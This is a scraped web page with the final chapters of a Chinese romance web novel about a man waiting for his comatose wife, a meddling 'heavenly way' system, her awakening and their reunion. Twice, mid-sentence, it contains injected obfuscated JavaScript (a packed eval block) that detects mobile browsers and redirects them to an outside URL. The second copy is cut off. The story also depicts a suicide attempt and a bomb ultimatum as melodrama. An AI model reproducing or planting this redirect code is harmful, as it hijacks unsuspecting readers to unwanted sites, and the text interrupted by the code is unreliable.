又一年夏天,公司现阶段的主要业务被李闻蝉彻底转到京城。 颐养天年的池老爷子都出山说话:“虽然池映雪是我孙女,但我还是不得不问你一句,这是聪明人该有的做法吗?” “你就让她待在京城,等醒了自然见得到,何必这么折腾?诚然京城发展亦好,可人脉重新积累,你会很累;况且她不一定……” 李闻蝉平静道:“小雪没我睡不好,我没她也睡不好。就这么简单。” 池老爷子摆摆手:“罢了。这么看来,你倒是和你爸一点也不一样。随了我,大情种一个。” 李闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032879|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蝉不置可否,临走前想起什么,莞尔:“……他倒是还说过一句像样的话。” “聪明人么,赢得利益。” 李闻蝉走进公司新装设的观景电梯,“这世上聪明人太多,不缺我一个。我不想做聪明人,只想做个笨蛋。” 城市的天际线一览无余。 遥远的北方,有人等他回家。 “笨蛋,会赢得整个世界。” 这是他今年最后一次回南城,从总部出来,暴雨骤降。 航班取消。李闻蝉趁这一日空闲,漫无目的地在城里漫步。 先走到江边。江面翻滚,依稀能看见远处的玻璃栈道和大桥。 不远处的湿地公园承载幼时回忆。最后那三个日夜,池映雪意识迷离间,断断续续在李闻蝉的手臂,乃至身体各处写下她记得起来的一切。 有次他们都用力了些,池映雪说,她想起来他们的初见,并不是虹文外小巷子一起吃鸡柳那天。 李闻蝉的心猛烈跳动,以为是烟花大会,以为是高中校园里,却不想池映雪写:「我小的时候,在湿地公园里见到一个小哥哥。」 「后来我不得不放了他鸽子,那是因为我发了烧,没办法赶去。对不起……」她写一字就一顿。 「我在你妈妈留下的录像带里看见四五岁时的你,和当时差不了多少。原来是你呀,李闻蝉,我们那么早就认识了。」 李闻蝉记得那个小孩子。 除了她提到的一切,李闻蝉想起来女孩在一起喂猫时塞给过他一颗糖。她不和他说话,李闻蝉却懂了她的意思。 只有他们两个没有别的玩伴。 难过吗?当然难过。可是吃颗甜甜的糖,就没有关系啦。李闻蝉把这件事说给池映雪,她不大记得了,只是笑笑:「那应该是应光司,就是我在应家的弟弟给我的糖。我没有零花钱,帮他做些事情,偶尔能讨颗糖吃。」 「现在在你身边,不缺糖吃,所以可以发现不喜欢就不吃,那个时候没得选嘛,有颗糖也是好的呀。」 只是李闻蝉当时以为被她单方面“友尽”,从那之后也不吃糖,也不喂猫。 如果再来一次,李闻蝉想,池映雪不想吃的糖,就由他来帮她吃吧。 池映雪想喂不敢喂的猫,就由他来帮她喂。 李闻蝉随意走进家商场,想起什么,去买了条公主裙,邮寄到京城的家,就在医院边。又去负一楼超市买了黑白配,一个人坐在商场的等位区就着可可牛奶吃完。 池映雪那个小笨蛋,不知道怎么看出来的,在第二天第五次之后问他是不是不喜欢吃巧克力。 李闻蝉把可可奶一饮而尽,红唇一勾,傻呵呵地笑起来。 他走在不曾路过的人山人海里,没有开车也没有叫司机,而是聆听着万千种声音。 李闻蝉第一次挤了公交,又坐上地铁。 这一趟是虹文开往玫瑰园,她会坐过吗。 现在是六月中旬,地铁里播放给毕业生的祝福语。 “前方到站香忻路站,请准备下车。岁月匆匆,唯愿相逢。祝各位毕业生,身体健康,毕业快乐……” 李闻蝉在南城七中附近的地铁站下车。傍晚时分,雨已经停了,大片大片橘红色的晚霞笼罩天空,老旧的城区路灯久久不修,亮着昏暗的黄。 查到的地址就在附近。李闻蝉走入一个逼仄的小巷,在一面生锈的大铁门前驻足。 应家人早已付出代价。这里的房产被李闻蝉匿名购入,他一步一步走上潮湿的楼道,打开那扇被人提前打扫过的门。 很小一间房,四口人住,也不过几十平米。 全家只有一个卧室有空调。李闻蝉没多逗留,根据池映雪的话,沉重地走向和厨房相邻的杂货屋。 门锁是坏的,或者被卸掉,轻轻一推就开。 有潮味的纸箱并没被清理,李闻蝉定定看了许久被折叠起来的行军床,将其展开。 一个大纸箱压在墙角,床甚至摆不齐。 李闻蝉忍无可忍,一把掀开纸箱,和墙面相贴处的夹缝里忽然掉下一把生了锈的小刀。 纸箱背面露出来。 池映雪在上面刻下一个又一个“正”字,像在数着这里的日日夜夜。 除此之外,还有些随意落笔的算式草稿。她数学很好,同时很刻苦,李闻蝉知道。 李闻蝉坐在行军床上,床板发出吱呀吱呀的声音。虽然有人来打扫过,还是不可避免粘上灰尘。 他并不在意,就这样漫不经心地躺下去。 双腿在小小的床上根本无处安放,李闻蝉大致比对过,池映雪睡起来也必须蜷缩。 四周很安静,能听见他的心跳。每一下都揪在一起,疼得密密麻麻。 “铃铃铃……” 专属铃声响起。李闻蝉迅速接通,是医生。 “李先生。” 医生似乎在考虑如何开口。 最终用一堆专业术语冲淡口吻里的遗憾,缓慢道,“整整一年过去,都不见起色。所以,太太应该没法………醒过来了。” 李闻蝉早有预感。 声音比想象中淡然,平静:“嗯。” 通话挂断,李闻蝉翻了翻相册里两个人的合照。几乎全是合照,还有他拍的池映雪。 李闻蝉牵起唇角,把玩了一下手里的小刀。刀把是淡蓝和白颜色相间,池映雪最喜欢的两种颜色。 有铁锈,有肮脏的灰尘,但足够锋利。 割起来应该挺快。 李闻蝉漾起深深的梨涡:“你说你也真是,那么漂亮的小姑娘,上学时居然不爱拍照,想看看那时候的你都只能靠回忆。” “早知道你这么笨,我去学什么商科啊。P大那个研究组水平那么菜,就该我去力挽狂澜。” “你睡这么久,泰泰也不高兴。它半年前就不爱吃东西了,现在和它妈妈一样,在宠物医院里看护着呢。怕你担心就一直没说。” “……老婆。你说我们这一家三口,怎么这么分不开啊?” 小刀埋进腕骨,池映雪说过那道青筋很好看。 “…………别怕。” 许久未见的鲜红涌动,李闻蝉盯着无名指上的婚戒,“老公来哄你睡觉了。” 砰! 血珠滴落。 差之毫秒就要迸射出来的那一刻,小刀被陡然袭来的气流弹到墙面,深深扎入。 李闻蝉不耐地眯眼,坐直身,不由分说地拔刀割下第二次。 小刀直接碎成渣滓,和脱落的墙皮一起湮灭。 “你疯了!!” 一道机械的声音降临,“我昨天不是已经通过梦境暗示你就是这个世界的男主角了吗?!李闻蝉,你可是气运之子!” “我设了那么多障碍,你感受不到吗?非要逆天而行!区区个配偶算什么?没了她,你明明可以轻松坐拥一切!” 声音怒不可遏,“我现在还要告诉你,你费劲心机娶回来的那个池映雪不过是这世界边缘副本里的一个反面角色!池鲤鲤沈星桥之流在你面前尚且不足挂齿,而她是他们的对照组,本该早就抑郁寡欢销声匿迹在那个别墅!她怎么配得上被世界眷顾的你!?” “气运?男主?” 李闻蝉冷笑:“别开玩笑了,谁他妈稀罕?” “还有,你再说一句对照组试试?”李闻蝉从怀里掏出一支静音枪,“池映雪是我的妻子,我爱人。既然不想我死,就摆正你的态度,赶紧把我老婆唤醒。” ——— 医院病房中。 “我已经答应你再等这么多天。你说只要让平行世界的我老婆做任务,任务成功就会顺利醒来。现在时间已到,你给我的电子设备也显示进度到100%,我老婆呢?” “噢。你还说要对平行世界的我进行考验,用结果打我的脸,想必也没有成功。” 绑带形的炸//弹随呼吸浅浅起伏,李闻蝉长眸微眯,“要么她醒,要么我死,你选吧。” 天道扭曲道:“……你真是疯了。” 它最后一次强调:“你最好想清楚。人有生老病死,你以为一个人在孤儿的情况下被顶级豪门收养,还没有有力的继承者与你争权,是什么人都能有的配置吗?” “所有有关运气的属性你都是满分!别人倒霉患传染病,你永远不会;别人在二选一时豪赌,你永远不会选错;别人遇到逆境可能一蹶不振,你就是倾家荡产了天道也会送你张彩票,让你中头彩!” “有传染病我就不出门,二选一还可以靠实力推测判断,至于倾家荡产,我有信心不会。”李闻蝉傲然,“我要是真的只靠你口中的男主光环行至今日,那就算来日一败涂地,我求之不得。” “或许真有人渴望一步登天。” 李闻蝉蔑视道,“背靠所谓光环夺得气运,以此为荣,但其中不包括我李闻蝉。” 甚至这破玩意儿告诉他,他这么牛原来还有光环的缘由在,李闻蝉都快恶心死了。 就好像努力了二十多年,有人冒出来说你是天才,纯靠天赋异禀,搞得他的努力好像什么也不是似的。 天道傲慢地瞪了李闻蝉一眼,被对方冰冷到淡漠的视线讪讪逼退。 天道:“……你爱怎么样怎么样吧。但我倒是要告诉你,你老婆不醒真不是我的锅,我可是已经恢复了这个世界正常的气运。你还有池鲤鲤他们副本主角都是,池鲤鲤光环消失,池映雪按理来说早该醒了。” 李闻蝉目光怀疑,瞪了它良久,终于没再说什么。 扭曲的空间恢复正常。李闻蝉静坐了一会,慢悠悠地去隔间取下炸//弹收好,重新整理衣冠,和往常一般坐回池映雪身边。 白茫茫的房间里,吊瓶滴水可闻。 李闻蝉从兜里取出棒棒糖,含在嘴中。 不得不离开病房的每一秒,烟瘾就会卷土重来。但是李闻蝉不能抽,万一池映雪立刻醒了,他没来得及处理好身上的烟味呢? 更何况她说了,她很讨厌。那他就不会碰。 反正棒棒糖和烟长得也差不多。李闻蝉换了一边含,梨涡被顶出来。 “看来今天某人又吃不到提拉米苏咯。” 李闻蝉把池映雪扶起来,用浅蓝色的小梳子帮她梳头发,整理刘海。 “马上新年了。我最近联系上了你在七中的好朋友,听说你们三个以前会去寺庙里上香祈福,还买同款的挂饰,你和我都没有。” 二十七岁的男人,平时在外面呼风唤雨,比意气少年时沉稳许多。此刻的声音却闷闷的,很有些委屈。 “还有池小雪,那个姓裴的你怎么从来没和我说过?啊?你什么时候又多出来一个男性好朋友,你看看人家提起你时那眼神像话吗?算了,你都没提过,肯定不重要,我懂。” 当然没人回应他,李闻蝉习惯了。 李闻蝉慢慢放下池映雪,亲亲她没有血色的唇。长久注视,似乎时间都静止。 “你不醒来,是不是在生我的气?” 眼眶染上一圈红。 “我不能总是陪着你。还是说,我没能早点遇见你。对不起,但你起码醒来嘛,不然我怎么补偿你?” “你说那自大狂让你去做任务,做什么啊?我本来说我去帮你做,它偏不让,说要考验我们……也不看看自己是个什么东西,连个实体都没有,就一团烂空气,还好意思指示我老婆。” 呼—— 病房要保持空气流通,今天天气尚可,窗户便开着。 北国冬日里寒风呼啸,吹起浅蓝色的窗帘,不住地怦怦鼓动,像反季节的蝴蝶在里面振翅、翩跹。 李闻蝉帮池映雪掖了掖被角,走过去将窗帘绑好。 窗帘收敛,透明的蝶消失不见,安静地颤在一双纤细的睫。 106. 永远在一⑦。 风轻盈地吹拂脸颊。 心脏突然猛烈地跳动。 李闻蝉似有所感回眸,和那双圆圆的、几乎透明的眼睛对视。 嘀嗒。吊瓶里的水滴落。 滴答。医学仪器一声一声响起,与缓慢珍重的步履重叠,轻得犹如薄纸。 嘀哒。 泪水落在纤细的手腕,像一片雪花。 狭长的黑瞳颤抖,毫无预兆地见到恢复浅粉色的嘴唇开合。 池映雪望着李闻蝉:“我爱你。” ——— 陷入昏迷后的某一天,池映雪的脑中忽然多了一个光屏。 冰冷、机械、傲慢,缓缓诉说她的命运,李闻蝉的荣光。 [你们都是我创造出的人物,从外形到喜好、人生轨迹,哪个不是按我设定的人物传记运行?] [大男主的传记,怎么会出现你这么个小小对照组?]尤其这男主还说得那么理所当然,什么叫“传记里没出现就加上去呗”,居然还敢说天道没眼光! 天道怨恨完,却不得不对池映雪说,[……既然非要反抗,那也必须让我看到你们的诚心。] [我会给你们另一次机会,平行世界的你必须将那个李闻蝉的好感度刷到100%,而且完成任务后,他也必须再次甘愿放弃男主光环。不过出于他的要求,你们有一次对那个世界的自己许愿的机会。] 那个男主不是说只想要他老婆吗?呵,在她之前,它要安排手下所有的攻略者去攻陷他! 还有这个小对照组,不是很不满自己的命运,很讨厌她对照出来的主角吗?它就逼她去做各种任务,攻略这世界里最大的主角,看她怎么不平衡! 天道得意地想。 尤其是,李闻蝉有朝一日肯定会知道这都是池映雪的攻略,它不信他毫无芥蒂。 池映雪垂睫片刻,在心里说:“我的愿望太多了。” 但是,如果只能许一个的话。 “……” 圆眸轻眨,像陷入美好的回忆,唇角轻轻抬起,“我想听见他的声音。” 天道怔了怔,嘟囔了句什么。 最终点点头,没有一开始那么冷漠。 池映雪叫住它:“我还有个问题。” “他。”仅仅想到就是眼圈一红,池映雪小心地问,“李闻蝉他,许了什么愿?” 天道哼了一声,良久闪出两行字。 [他说。] [他想听见,你心里的每一句话。] ——— “但天道还是摆了你……我们一道。” 池映雪坐在李闻蝉怀里,“它让那个李闻蝉听见的,是所有人的心声。” 所以那里的李闻蝉脾气更大、更难以靠近,防备心也更重。池映雪攻略了好久呢。 “但它也没有坏透。” 池映雪眉眼弯弯。 也许是天道还有点良心,那个世界里的他们还保留着被彼此改变过的痕迹。 “我刚才见到了那个‘小雪’。她应该看见了我们这边的故事,还说泰泰昏迷后,灵魂到了天道局,成为了指引她攻略的系统。最后泰泰用任务成功赚到的全部积分把我现在的听力和声音也换回来了,估计没多久,它就会醒来。” 小猫好。 李闻蝉:“嗯。” 心不在焉的。 池映雪推了推李闻蝉:“你到底有没有听我说话?” 她才分开一些,又被他靠过来抱紧。 池映雪也安静下来,就这样任由李闻蝉黏着。两个人的眼都很红。 过了一会。 李闻蝉在池映雪肩膀蹭来蹭去,拈酸道:“……这还不够坏?居然胆敢让你主动攻略我,凭什么啊。” 还有那个不识好歹的毛头小子,听说居然花了大半年才被攻略成功,可显着他了。 池映雪笑他:“幼稚。” 李闻蝉瘪了瘪嘴,还在那里装委屈。 医生和护士已经来检查过,带池映雪下床试走、清洁,确信连手术也不用再做了,忙喊着“医学奇迹”回去研究。 病房里只有他们俩。珍珠李在花瓶里安静地盛放。 池映雪趁其不备,主动地、用力地亲了亲李闻蝉的脸。 “我想起来一件事。” 池映雪戳了戳李闻蝉脸上的梨涡。 这人都被突如其来的吻亲懵了,还记得笑。 池映雪:“刚‘联姻’的时候,有人说早晚睡醒睡前都要有亲亲,这是家人之间的礼仪,骗了我好多吻。” 夫妻间的事怎么能叫骗?不过想到“联姻”这档子事,李闻蝉还不知道池映雪现在对他到底有没有芥蒂,哼哼唧唧含糊道:“……本来就是家人。” “噢。或许吧。” 池映雪低下脸,纤长的睫毛轻轻一颤,对接下来想说的话还有些不好意思。 “但对我来说,是妻子对丈夫的。” 身前高大的男人定在原地,空气一时十分寂静。 池映雪抬起眼皮,只落入铺天盖地的深吻里。待她唇都红肿,又听见李闻蝉掏出手机就是拨号。 “小雪醒了。老头你看看,我说什么来着?我哄着她才能好睡好醒,醒来第一时间就看到我这个丈夫。对了,小雪刚叫我丈夫了……春节回不回来?看她。先挂了。” 胡挚在另一个时区,李闻蝉算了算,先打给韩潇:“………你怎么才接?” “废话!”韩潇那头大风呼啸,“我在雪山上呢,马上就滑雪去了,你有急事?” “哦,那你先别滑。” 李闻蝉被池映雪抢手机没抢过,神采飞扬地走到饭盒旁边,开着免提边取提拉米苏边悠悠然道:“我家小雪醒了,刚叫我丈夫了。她还说她爱我。” “???叫你?她不……” 嘟嘟嘟声音响起,李闻蝉直接挂断通话。 池映雪气呼呼地跑过来,被李闻蝉塞了两口提拉米苏才哄好。 李闻蝉盯着她的小耳朵,心里软得一塌糊涂。 他凑近过去,贴着耳垂,气流缓缓:“下次可以直接叫老公,我更喜欢这个。” 池映雪脸蛋红红,喂给他一大块沾满咖啡液的奶油,成功睹见皱在一起的浓颜。 “就说你不爱吃。” 她想起给李闻蝉做的那一杯杯可可、一块块巧克力饼干,赧然评价:“装。” “我没有。” 李闻蝉抽走池映雪含在嘴里的叉勺,舔去粉唇上一点棕黑色粉末,“我不喜欢又酸又苦的咖啡和巧克力。” “但不妨碍我喜欢咖啡巧克力味的池映雪。” ——— 回到池家后,池映雪不敢和苹安、裴景多说新的生活,就算聊天,也每每报喜不报忧,甚至故意把新生活说得很好。 有时候难免说漏嘴。池映雪不想给仅有的好朋友带去负能量,渐渐减少联络。 直到研学旅行后,她托人把没能合照成功的物品送回七中,就再没敢打开过和他们聊天的社交软件。 李闻蝉说,他前段时间去位于P大医学院内部的研究室观摩,和教授在电梯里聊天时提到了池映雪的名字,这才被同一大学、正好来这边找人的裴景听见。 池映雪不在,裴景和许苹安联系也少。还是这回他主动拦住李闻蝉请求看望,才一起来了几次。池映雪醒后他们也来了,李闻蝉摆足了好丈夫的雍容和仪态,忙前忙后招呼。 待二人走后,撞见某人期期盼盼的眼神,池映雪无奈地笑着说:“我什么时候有机会,见见你的朋友?” 李闻蝉喜笑颜开,说安排就安排。 池映雪出院后,回到南城的家,在新年里终于与万苏瑶等人正式结识。 听说这几位朋友在她住院时就照顾颇多,池映雪腼腆地道谢,被万苏瑶泪汪汪地抱住:“你能醒就最好了,我跟你讲,你都不知道我有多…你………” 李闻蝉用刚做好的热红酒美式把二人分开,喂着池映雪喝。 胡挚笑话万苏瑶:“就说人小夫妻恩爱,你凑什么热闹,讨人嫌不咯。” 万苏瑶:“好啊你个臭虎子!看我今天不好好收拾你!” 游泳池被填平,取而代之的果园里,草木都还没到丰收的季节。 冬日的霜雪覆在枝头上,不薄不厚,松松软软。莹白从摇曳的细枝头扑哧而下,抖落点点雪花。 秋怡据说是当年五班的班长,比他们稳妥些,对池映雪解释:“虎子是胡挚的谐音,万苏瑶就是瑶瑶。对了,你也可以叫我椅子,叫章子健毽子。” 还挺好记。池映雪点点头,顺着她的话看向章子健,是个戴着眼镜很儒雅斯文的男生。对方朝她友善的挥挥手。 池映雪也举起手挥动,视线在热热闹闹的院子里环绕一圈,落回不远处的李闻蝉身上。 藏青色的围巾,今天刚好也穿了黑色大衣。 细细密密的雪拂过李闻蝉的侧脸,漂亮锋利的眉眼在成熟沉稳的气质里褪去不少青涩,愈发有种柔和的意味。 唯独朝暮相处的池映雪能看见沉淀下面敛藏起来的轻狂,幼稚,黏人,还有一点点痞气。 李闻蝉正在和多年未见的穆雨阳说话。池映雪前不久才听说他们之间的事,说来也巧,李闻蝉为了让她打开心扉那段时间,共同出席了不少慈善活动,也捐助或救济各种爱心组织,其中就包括流浪动物。 穆雨阳的妈妈丢了狗,正好被他们的爱心组织从狗贩子手里救下,又在机缘巧合下与穆妈妈重遇。她感激又愧疚,终于告诉穆雨阳当年错怪李闻蝉、怕他带坏穆雨阳从而主动找到五班,以家长身份逼退李闻蝉,警告他不要再和穆雨阳来往的事。 穆雨阳在对李闻蝉衷心感谢和致歉,李闻蝉看着池映雪慢慢走近,勾唇道:“没事,都过去了。” “蝉哥……” 李闻蝉往前探去,牵上池映雪的手,懒洋洋地衔着笑:“来一起吃饭吧。” 穆雨阳瞳孔骤亮,水光闪动:“——好!” 池映雪捏捏李闻蝉的手心,没有讲话。 李闻蝉停下脚步,抹掉她鼻尖的一小撮雪:“怎么了?” 手心的温暖一如既往。池映雪鼻头红红的:“………你明明是天底下最好的人。” 不想要别人,那么冤枉你。 李闻蝉读懂她睫毛下的闪烁,偏过头看了眼远处已经架起来的BBQ前亮堂堂的火光。 他轻轻抱住池映雪:“我又不在乎那些。说真的,只要有你这句话就够了。” “够了吗?” “嗯。” 尾音上扬,一声,像把小钩子。 池映雪从他胸膛前探出头,眼眸亮晶晶的:“……真的够了吗?” 李闻蝉:“?” “其实你可以贪心一点。” 池映雪踮起脚尖,主动地深吻住李闻蝉。 雪花落下。 火星飘逸。 簌簌密密的声音里,李闻蝉抱住他的整个世界:“我贪心啊。” “我想要和池映雪的朝朝,暮暮。” “艹。”胡挚刚烤好一串牛油,准备叫东道主先尝尝,一抬眼呲牙咧嘴,“我真服了,他俩怎么那么黏糊?” 章子健:“可不黏糊么,没看你蝉哥等了多少年。” “那也是。”胡挚叹了口气。 而且他莫名有种学渣的直觉。 总觉得蝉哥等的,不止这三年呢? 胡挚拿起手机拍照:“不能我一个人被闪瞎眼,得给韩潇发过去。” “嘿嘿!这货还天天自称什么昔日浪子、情场高手,不信什么联姻有真情,看我不用事实狠狠打他的脸!” 章子健好笑地摇了摇头,给烤串翻面。 他忽然想到什么,音量提高了些:“要不拉个群吧?下次还出来玩。” 胡挚:“诶,这个好啊!我来建!” 秋怡:“那群名称叫什么?” “我数数,我们123……7个人。” “万苏瑶来取?你不是咱南城电视台冉冉升起的文艺界新星么,是你发挥才华的时候了。” “拜托毽老师,您不是D国留学回来的理科大神么,你自己听听这有什么逻辑关系吗?” 万苏瑶看着愈走愈近的池映雪和李闻蝉。新年的白雪落在他们周身,像一滴一滴的月光,安宁而温柔地将璧人笼罩。 万苏瑶:“那……” “煽情点。永远在一(7),怎么样?” ——— 池映雪醒来后,外界对夫妻关系的揣测与流言不攻自破。 李闻蝉每天上班都春风满面,盛池上下准点到准点退。业务重心倒还没有转回来,因为池映雪顺利考入P大读书了,算是圆个梦。 房子就是之前李闻蝉等池映雪醒来时住的那套,他们把苏醒的泰泰也接了过来。它没保留成为系统时说话识字的能力,又变回一只小猫。 只是更聪明些,总是和李闻蝉争池映雪的怀抱,把李闻蝉气得够呛。 小群里的人时常聚餐,也会有其他朋友来探访。有一天,一个好久不见的人不知从哪里得到的消息,找到了池映雪。 沈星桥一身白色风衣,很有优雅的英伦风。他也没有长变多少,依旧清隽温润,言行举止却比高中的时候多了些人情味,不再像一尊刻板微笑的雕塑。来的时候,还带了一束鲜花问好。 李闻蝉那脸板着,就没好看过。 尤其沈星桥还说,有些话想单独和池映雪说。 眼看着李闻蝉要赶人,池映雪咳了咳。 李闻蝉瞠目咋舌、不可置信、五雷轰顶,最后气哼哼哀怨怨地挪出专门用来接待生客的会客室。 门还没掩上呢,沈星桥背后花瓶上的小红点就亮起来了。 池映雪垂下睫毛,捧杯喝水遮掩唇角。 沈星桥从手提袋中取出一个文件夹。 “你当时休学后,一直没有人来清理桌面。到了下学期换座位,我去帮齐老师收拾教室,把你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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不说衍生文的男主。就算是光靠个人实力的现在,池映雪确定道:“你应当很好。” “……是吧。” 沈星桥随意提着。他在母亲的安排下为公司创造不少利益与荣誉,幸亏李闻蝉这几年出手,沈星桥索性在母亲面前装作扛不过去,转头联系上了M国的某位数学大拿,准备时机成熟就去专心研究。 “而且我现在也有……喜欢的人了。和你一样,真心的。” 沈星桥笑得温淡,“所以,祝你也好。一直好。” 关上门。 沈星桥凝望门边的对联很久,认出了池映雪和另一道龙飞凤舞的行书字体。他低下头,轻缓地从手提袋里取出刚刚唯一没有归还给池映雪的,昔年的物件。 手写书签被原主人封了膜,这么多年过去依旧完好如初。 鹊桥仙。 书签被小心地挤压,中间居然流露一条细缝。白皙的手指从缝隙中抽出一张小纸条,简简单单的四个字被沈星桥笑着念出:“…我喜欢你。” 怎么可能是别人。 池映雪刚走过玄关,就被抱了个满怀。 李闻蝉果然心情大好,像一只胜利了的小鸟带着她走来走去。 池映雪:“你刚才哪去了?” 李闻蝉雄赳赳的,昂首阔步,得意到不行:“刚那家伙送的花好像没那么难看了。” “不错的品种。”李闻蝉评价,“我去为它选了个漂亮点的垃圾桶。” 池映雪无可奈何地笑了笑:“现在不怀疑我喜欢他了?” “不。” 李闻蝉驻足,一本正经地硬气道:“我从来没有怀疑过。” 池映雪:你最好是。 “我知道,我太太眼光天下第一好。”李闻蝉及时改口,“不,是第二。” “第一是我。” ——— 这一个跨年,池映雪终于补上了和李闻蝉的蜜月旅行。 两个人各怀心思又心有灵犀地选择了J国。 今年没有跨年夜的烟花大会,池映雪和李闻蝉去城市上空看了满城灯火,又顺着很长的电梯下来,慢悠悠地在繁华都市中打转。 天气尚可。池映雪出门前没有戴围巾,李闻蝉看着她身上与他夫妻款的白色长风衣外套,小白靴子,也哼着小曲,把围巾放了回去。 夜晚,雪花渐渐飘起。 人来人往的十字路口,路过圣诞节后没拆下的槲寄生环,李闻蝉在玻璃橱窗里,看见两个人手牵手的倒影。 眉眼上挑,白色的雾气轻轻呵出。李闻蝉把池映雪的小手包裹好,伸入自己的口袋。 他们在斑马线前停下。 对面的红灯在飘雪下安安静静。 池映雪忽然叫他:“李闻蝉。” 李闻蝉看向她。柔软的脸颊,睫毛很细,很长,落了一片小雪花。 “我有没有告诉过你,我很想你。” “我知道。” 李闻蝉心软了软,笑着说,“我也想你。这三年来每一天。” 池映雪缓缓从将她裹住的大手里抽出手,指腹摩挲他骨骼分明的指节。温暖,还在一点点升温。 绿灯亮起。 池映雪:“不止三年。” 人群变换,交织,涌动。被摩天大楼包围的头顶,天空忽然绽开大片大片绚烂的烟花。 橘色和紫色美如幻景,路人不禁放慢脚步抬头欣赏,李闻蝉也不例外。 恍惚间,一朵崭新的烟花绽开,绿如遥远盛夏日郁勃的梧桐。李闻蝉呼吸微滞。 ——那是一只蝉。 池映雪拉开李闻蝉肩上的她的包包拉链,从中取出藏青色的围巾,学着他从前的样子,笨拙地绕上去。 “……好想你。” 她再次说,绑了一个好紧、好紧的蝴蝶结。 “笨蛋。” 流动的人潮里,只有他们两个人站到路边,久久对视。 很久后,李闻蝉红着眼圈,哑声问:“…………什么时候知道的?” 在“梦”里。 池映雪获得听说的能力时,也和那个池映雪一起,看见李闻蝉向她走来的,好多好多年。 相顾无言。 池映雪的鼻子红红的。 李闻蝉捏了捏她,低下头抿抿嘴,喉结滚动。 他解下一半围巾,再次给她戴上。给他们两个人戴上。 “李闻蝉。”池映雪又叫他,“谢谢你,真的。” “要是早点遇见……” 亲吻代替她未尽的话语。 空气逐渐滚烫,贴近的雪花都在夜色里融化。 换气的空隙,池映雪:“我……” 李闻蝉再次亲下。 “遗憾的话不要说了。” “我现在只想再听一遍。” 四目相对。李闻蝉对池映雪说,“我爱你。” —全文完—